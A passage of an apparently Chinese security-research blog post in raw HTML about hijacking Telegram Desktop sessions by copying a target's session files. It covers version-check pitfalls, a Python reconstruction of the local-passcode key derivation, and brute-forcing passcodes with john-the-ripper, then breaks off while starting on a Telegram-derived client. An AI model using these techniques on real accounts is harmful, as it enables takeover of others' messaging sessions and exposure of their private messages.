style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">data#2</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">data#3</code></span><span md-inline="plain" style="box-sizing: border-box;">，在session劫持的时候按照文件名进行迁移即可。</span></p><p cid="n108" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="707" data-backw="1070" data-galleryid="" data-ratio="0.6611111111111111" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=554e2007&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzAictTZlp2E3aPz7PoibVLHUCvuyzsDy9nOHibuxEnvsm2W2mMJzzmvZCw%2F640%3Fwx_fmt%3Dpng"/></p><br/><span md-inline="plain" style="box-sizing: border-box;"></span><p><br/></p><p cid="n114" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">#2</strong></span></p><p cid="n115" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在进行session劫持的过程中，如果一直都无法恢复session，并且能够确认session文件没有过期，那么有可能是本地的Telegram.exe版本与目标机器的Telegram.exe不匹配造成的。</span></p><p cid="n116" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">telegram在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_datas</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">maps</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8Cs</code></span><span md-inline="plain" style="box-sizing: border-box;">等文件中都将当前的版本号存储在文件的第4至第8个字节，并且在调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">ReadFlie()</code></span><span md-inline="plain" style="box-sizing: border-box;">函数时，telegram客户端会判断文件中的版本号是否大于客户端版本。若大于，则会直接停止读取文件，终止session的恢复。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">// <span class="code-snippet__keyword">read</span> app version</span></code><code><span class="code-snippet_outer">qint32 version;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (f.read((char*)&amp;version, sizeof(version)) != sizeof(version)) {</span></code><code><span class="code-snippet_outer">  DEBUG_LOG((<span class="code-snippet__string">&#34;App Info: failed to read version from &#39;%1&#39;&#34;</span>).arg(name));</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (version &gt; AppVersion) {</span></code><code><span class="code-snippet_outer">  DEBUG_LOG((<span class="code-snippet__string">&#34;App Info: version too big %1 for &#39;%2&#39;, my version %3&#34;</span>).arg(version).arg(name).arg(AppVersion));</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n108" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;">因此，比较取巧的一个办法是，使用当前最新版本的客户端，这样就不会遇到版本不匹配的问题了。</p></section></section></section></section><section style="display: flex;margin-bottom: 8px;"><section style="box-sizing: border-box;width: 6px;height: 100%;background-color: rgb(239, 239, 239);border-right: 1px solid rgb(0, 0, 0);border-bottom: 1px solid rgb(0, 0, 0);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="108591" data-color="#59c3f9"><section style="text-align: center;margin: 10px auto;"><section style="margin-left: 8px;"><section style="box-sizing: border-box;width: 100%;height: 6px;border-top: 1px solid rgb(0, 0, 0);border-right: 1px solid rgb(0, 0, 0);border-left: 1px solid rgb(0, 0, 0);border-bottom: none;background-color: rgb(239, 239, 239);overflow: hidden;" data-width="100%"><br/></section></section><section style="display: flex;"><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);flex: 1 1 0%;box-sizing: border-box;"><section style="background-image: linear-gradient(to right, rgb(89, 195, 249) 0%, rgb(148, 219, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 5px 15px 5px 20px;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="font-size: 20px;letter-spacing: 1.5px;color: #000;"><strong data-brushtype="text">passcode模块</strong></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;transform: rotate(12deg) translate(0px, 10px);-webkit-transform: rotate(12deg) translate(0px, 10px);-moz-transform: rotate(12deg) translate(0px, 10px);-ms-transform: rotate(12deg) translate(0px, 10px);-o-transform: rotate(12deg) translate(0px, 10px);"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section><section style="border-top: 1px solid rgb(0, 0, 0);padding: 20px 16px;text-align: left;box-sizing: border-box;"><section style="line-height: 1.6em;"><span style="color: rgb(119, 119, 119);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;">passcode功能类似于个人电脑的锁屏功能，用户通过设置passcode和休眠时长，来保证telegram的信息不被泄露。</span><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;">在进行session劫持的过程中，有概率会遇到含有passcode的情况。在这种情况下，迁移过来的telegram会呈现下面这种状态，导致攻击者无法查看telegram的信息。</span></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><img class="rich_pages wxw-img" data-backh="643" data-backw="782" data-galleryid="" data-ratio="0.8222222222222222" data-s="300,640" style="text-align: center;font-family: Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;white-space: pre-wrap;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=197dc1ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdz4ewtxMvPJg55niaQd5owhEI29aQO0GcU0FZXDZg1fXmuI367wyOZFzQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><br/></span></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">打开</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">DebugLogs/log_xx_xx.txt</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">就可以看到因未提供passcode，而无法解密所产生的错误日志信息：</span></span></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.09537037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1cd2b7c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdz3UzlfQg3CcDRYB6T3Pl5zuYHfib0uNh60BgApwDJrrRyqGyhXllPibuw%2F640%3Fwx_fmt%3Dpng"/></p><br/><p><br/></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">根据日志输出的信息，可以定位到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">storage_domain.cpp:startModern()</code></span><span md-inline="plain" style="box-sizing: border-box;">（读取</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_data</code></span><span md-inline="plain" style="box-sizing: border-box;">文件）函数，更细一点来说，是在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">storage_file_utilities.cpp:DecryptLocal()</code></span><span md-inline="plain" style="box-sizing: border-box;">函数中校验checksum的部分。</span></span></span></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="242" data-backw="782" data-galleryid="" data-ratio="0.3101851851851852" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2027baf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzicBzSPvDiakQTkXcDcrzmuqYtQWVwN7BBdtIaSgQK11OaFoT8hPWxDuw%2F640%3Fwx_fmt%3Dpng"/></p><br/><p><br/></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">跟一下代码前后的处理逻辑，用python写出对应的处理流程：</span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">def</span> <span class="code-snippet__string">decryptLocal(encrypted, key) -&gt; bytes:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">encryptedKey</span> = <span class="code-snippet__string">encrypted[:16]</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">decrypted</span> = <span class="code-snippet__string">aesDecryptLocal(encrypted[16:], key, encryptedKey)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">digest</span> = <span class="code-snippet__string">sha1(decrypted)[:16]</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">if</span> <span class="code-snippet__string">digest != encryptedKey:</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">raise</span> <span class="code-snippet__string">ValueError(&#39;App Info: bad decrypt key, data not decrypted - maybe has passcode)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">dataLen</span> = <span class="code-snippet__string">int.from_bytes(decrypted[:4], &#39;little&#39;)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">return</span> <span class="code-snippet__string">decrypted[4:dataLen]</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">def</span> <span class="code-snippet__string">createLocalKey(passcode, salt) -&gt; bytes:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">iterCount</span> = <span class="code-snippet__string">100_000 if passcode else 1</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">hash</span> = <span class="code-snippet__string">hashlib.sha512(salt + passcode + salt).digest()</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">key</span> = <span class="code-snippet__string">hashlib.pbkdf2_hmac(&#34;sha512&#34;, hash, salt, iterCount, 256)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">return</span> <span class="code-snippet__string">key</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">qstream</span> = <span class="code-snippet__string">readFile(&#39;key_data&#39;)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">salt</span> = <span class="code-snippet__string">qstream.readBytes()</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">keyEncrypted</span> = <span class="code-snippet__string">qstream.readBytes()</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">infoEncrypted</span> = <span class="code-snippet__string">qstream.readBytes()</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">_passcodeKey</span> = <span class="code-snippet__string">createLocalKey(passcode, salt)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">_localKey</span> = <span class="code-snippet__string">decryptLocal(keyEncrypted, _passcodeKey)</span></span></code></pre></section><p cid="n130" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">可以看到，本质上telegram是通过比对解密后数据的checksum和原始明文的checksum来确认passcode是否正确，若两者的checksum相等，则说明解密所得到的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">是正确的。</span></p><p cid="n131" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">因此，将上述解密</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">的处理流程逆一下，就可以得到加密localKey的流程，但因为在有passcode的情况下，密钥导出函数的迭代次数为100000次，这极大的增加了爆破所需的时长。</span></p><p cid="n132" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这里我使用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">john-the-ripper</code></span><span md-inline="plain" style="box-sizing: border-box;">爆破工具，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">bleeding-jumbo</code></span><span md-inline="plain" style="box-sizing: border-box;">分支已经集成了telegram passcode爆破模块，支持旧版本和新版本telegram的passcode爆破（在telegram小于v2.1.14以前的迭代次数为4000，并且使用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">PKCS5_PBKDF2_HMAC_SHA1</code></span><span md-inline="plain" style="box-sizing: border-box;">的密钥导出函数），但比较可惜的一点的是，新版本的passcode爆破没有GPU版，只能使用CPU进行爆破。</span><img class="rich_pages wxw-img" data-backh="238" data-backw="782" data-galleryid="" data-ratio="0.30462962962962964" data-s="300,640" style="text-align: center;background-color: rgb(255, 255, 255);letter-spacing: 1.5px;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=83fdee5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdz69V1UqPYo2ibwCsumgnpd7uDqueADe18n75zjkrwmGicLumxfnceibia4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></p><p cid="n134" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在passcode解密研究的过程中，同样发现两个比较有意思的点：</span></p><ul class="list-paddingleft-2" cid="n135" mdtype="list" data-mark="*" style="padding-left: 30px;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><li><p cid="n137" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">passcode仅仅影响了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_data</code></span><span md-inline="plain" style="box-sizing: border-box;">单个文件，其他文件的内容并不会发生变化。并且在设置passcode前和设置passcode后，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_data</code></span><span md-inline="plain" style="box-sizing: border-box;">文件内的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">始终保持不变。</span></p></li><li><p cid="n139" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">passcode（local passcode）将他的字面意思贯彻到了极致，也就是说passcode仅针对于当前的session，而不会上传到云端，更不会影响到其他session的使用。而在session劫持的过程中，因为攻击者是通过复制目标的session文件来达到劫持的目的，这样意味着攻击者和目标使用的是同一个session，而此时session文件已经被passcode进行了二次加密，所以迁移过来的session也需要输入同样的passcode才能进入程序的主页面。</span></p></li></ul></section></section></section><section style="display: flex;margin-bottom: 8px;"><section style="box-sizing: border-box;width: 6px;height: 100%;background-color: rgb(239, 239, 239);border-right: 1px solid rgb(0, 0, 0);border-bottom: 1px solid rgb(0, 0, 0);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="108591" data-color="#59c3f9"><section style="text-align: center;margin: 10px auto;"><section style="margin-left: 8px;"><section style="box-sizing: border-box;width: 100%;height: 6px;border-top: 1px solid rgb(0, 0, 0);border-right: 1px solid rgb(0, 0, 0);border-left: 1px solid rgb(0, 0, 0);border-bottom: none;background-color: rgb(239, 239, 239);overflow: hidden;" data-width="100%"><br/></section></section><section style="display: flex;"><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);flex: 1 1 0%;box-sizing: border-box;"><section style="background-image: linear-gradient(to right, rgb(173, 213, 255) 0%, rgb(245, 250, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 5px 15px 5px 20px;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="font-size: 20px;letter-spacing: 1.5px;color: #000;"><strong data-brushtype="text">telegram-like程序</strong></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;transform: rotate(12deg) translate(0px, 10px);-webkit-transform: rotate(12deg) translate(0px, 10px);-moz-transform: rotate(12deg) translate(0px, 10px);-ms-transform: rotate(12deg) translate(0px, 10px);-o-transform: rotate(12deg) translate(0px, 10px);"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section><section style="border-top: 1px solid rgb(0, 0, 0);padding: 20px 16px;text-align: left;box-sizing: border-box;"><section style="line-height: 1.6em;"><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;">potato是一款基于telegram进行二次开发的</span><span md-inline="strong" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"><strong style="box-sizing: border-box;">闭源</strong></span><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;">即时通信软件，官网地址：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"><a href="https://www.potato.im" target="_blank">https://www.potato.im</a></span><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;">。</span><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><h3 cid="n142" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 20px;"><strong>A.目录结构</strong></span></h3><p cid="n143" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">从目录结构可以看出，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">pdata</code></span><span md-inline="plain" style="box-sizing: border-box;">的目录结构类似于较低版本的telegram目录结构。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="232" data-backw="538" data-galleryid="" data-ratio="0.43148148148148147" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9732fa8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzcceVIftGa4wZ0d721V53hXH6peabjWYKy7fyUnGLrGt0pVru9gDqqQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p cid="n143" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></p><p cid="n143" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">在较低版本的telegram中，</span><span 